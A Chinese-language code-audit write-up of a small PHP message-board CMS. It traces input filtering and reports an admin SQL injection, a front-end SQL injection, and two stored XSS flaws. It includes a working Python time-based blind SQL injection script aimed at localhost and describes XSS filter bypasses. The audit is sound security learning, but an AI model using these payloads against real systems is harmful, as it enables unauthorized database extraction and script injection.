师傅,我想问下本地测注入没用啊,是更改了什么嘛??
0x01 前言
审计是一个漫长而艰难的过程,对于像我一样刚刚入门的萌新来说,希望大家可以耐下心来,认真分析源码,审计漏洞,多多分析已经爆出的cms漏洞,有助于提高自己的能力。
自用代码审计工具:seay源码审计
0x02 对框架的分析
对于代码审计我喜欢先分析配置文件,然后再进入入口进行分析。
如下是定义了一些基本的类,载入了输入库文件和所有的控制器类。实例化了adminlogin类和userrequest类。(这里对后面代码审计有用)
safety.fun.php的代码审计:
防止SQL注入:
先进行了去除斜杠,然后传入的如果不是数字就进行了加引号。
防止xss:
这里直接进行本地测试,进行查看。
判断是否是整数,同时进行了SQL的过滤:
这里比较简单,就是对传入的数字进行了判断,是否在定义的$string_var中,如果在就返回true,如果不在就返回false。 如果后面有单引号之类的注入字符,就返回false,所以同时也避免了SQL注入的问题。
0x03 漏洞分析
(1)后台的SQL注入
功能点:
跟进admin/index.php进行分析。
这里先包含了common.php文件,前面分析到,common.php文件进行了两个类的实例化。
这里进行了判断,由于前面贴图,传入的是一个edituser。继续向下查看。
这里看到对以上传入的location进行了判断。由于上面传入的是edituser,所以$location不为空。进行else,然后执行了menu方法
这里跟进一下$AdminControl变量来源。这里实例化了AdminControl类,这里需要注意(实例化类就要执行构造方法哦)
Tip:AdminControl类的构造方法如下:
跟进一下其类下的menu方法,这里就是弹出你用户所对应的权限,由于这里我直接以admin用户测试,所以的话,是个高权限账号,返回的就是adminustrator权限。
这里就是遍历上面的menu找到你所传入的location,然后弹回传入的location,这里弹回的是edituser
然后进行判断,/admin/edituser.Menu.php是否存在,如果存在就进行包含。
这里进入/admin/edituser.Menu.php进行查看。
这里的id,没有进行任何过滤,然后进行了sel方法。
这里跟进sel方法进行查看。传入的变量没有进行任何过滤,导致了SQL注入(这里利用时间盲注)
# -*- coding:utf-8 -*-
'''
作者:mrxiaoqin
基于后台的盲注
'''
import requests
import time
url="http://127.0.0.1/ZTJmessage/admin/index.php?location=edituser&id="
header={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0","Cookie":"PHPSESSID=eke4v1b953niu1gdf9e5hr5gq4"}
i=0
flag=''
while True:
i=i+1
head=32
tail=128
while head<tail:
mid=(head+tail)/2
#payload="-1' or if(ascii(substr((database()),{0},1))>{1},sleep(1.5),0)--+".format(i,mid)
payload="-1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1},sleep(1.5),0)--+".format(i,mid)
url1=url+payload
print url1
times=time.time()
re=requests.get(url1,headers=header)
timee=time.time()
if timee-times>2:
head=mid+1
else:
tail=mid
if(head!=32):
flag+=chr(head)
print flag
else:
break
(2)存储型xss
这里点击保存,看看location中传入了哪些东西。这里抓包发现,传入的是upsiteinfo,实例化的是upsiteinfo
由于这里可以看出,在/admin/index.php中实例化了upsiteinfo.Action.php,这里进入其中,查看方法。
这里判断是否提交,如果提交就进行了来源判断,必须是http://url/admin/index.php?location=siteinfo
这里使用AdminLogin的checkpostvalue方法。进行了过滤,过滤之后的数值,进行了更新数据库的操作。
跟进checkpostvalue方法进行查看。(AdminLogin方法是配置文件中实例化的方法)
这里我打断点+本地测试发现,就是经过了数组中方法的逐次过滤。
这里先随意输入,根据bp抓包可以知道。
这里是stat_code是对应的第三方统计代码。经过了toUTF-8和addslanshes_d方法
查看这两个方法。
ToUTF-8方法
addslanshes_d方法,是进行了转义,没有对xss标签进行任何操作,所以就导致了一个存储xss漏洞。
插入经典的xss语句,到前段进行查看。
这里看到已经成功弹出。
(3)留言板处的SQL注入
Tip:这里分析的是前台的SQL注入并不是后台哦,如果有小伙伴复现,应该分析127.0.0.1/index.php而不是前面分析的127.0.0.1/admin/index.php
这里查看这块儿代码:这里进行了Action的判定,根据提示可以知道此处的action等于reply。然后进行下一步的判定,如果存在传入的变量id,就进行模板的操作,这里再进行判断,如果不是sel,就进行check_zzs方法过滤传入的id变量。
这里跟进check_zzs方法。
这里对传入的每个数组都进行了测试,这里我进行本地实测。
如果返回的是false,就进行了exit的执行。所以对id进行注入基本上是不可能的。!
找寻注入点2:因为要实例化replay类,所以就包含了replyAction.class.php的控制器。这里查看控制器。!
因为要对文本进行一个注入,因为这里文本输入的是用ReplyContent来进行表示,所以这里对CheckPostFun中的ReplyContent进行方法过滤的查看。经过了ToUtf8和checkok方法的校验。这里跟进Toutf8进行查看。这里知识进行了转化到utf8的编码,无其他实质性的过滤。
这里查看checkok方法。根据他的提示可以得知,这是未进行数据的检查,所以两个都没检查数据。!
这里进行了留言的回复所以跟进留言回复代码。
这里可以看到这里利用了update方法,直接进数据库进行查询,所以就造成了前台的SQL注入问题。注入点:
这里还需要用bp进行抓包修改语句。抓包截图。
这里根据返回情况可以知道,这里是执行了4条SQL语句。具体情况大家可自己下载源码分析。
所以这里可以编写脚本进行自动化的注入,思路(先从返回包中爬取到Replyinputkey然后带入到发送包中进行操作即可),这里和上面脚本大同小异,就不进行脚本的粘贴了。
(4)前台公告处的xss
这个漏洞成因呢,是因为百度的富文本编辑器,这里直接可以抓包删除p标签,来实现一个绕过。!
这里可以看到成功弹窗。
具体漏洞链接(百度富文本编辑器xss漏洞复现)!
0x04 结语
这次代码审计时间还是比较长,用了大概1天半的时间,不过也学习了好多,自己也有在总结,同时也希望像我一样代码审计的小白,能够沉下心来认真的审计一个网站,这样儿也能有助于自己的提高。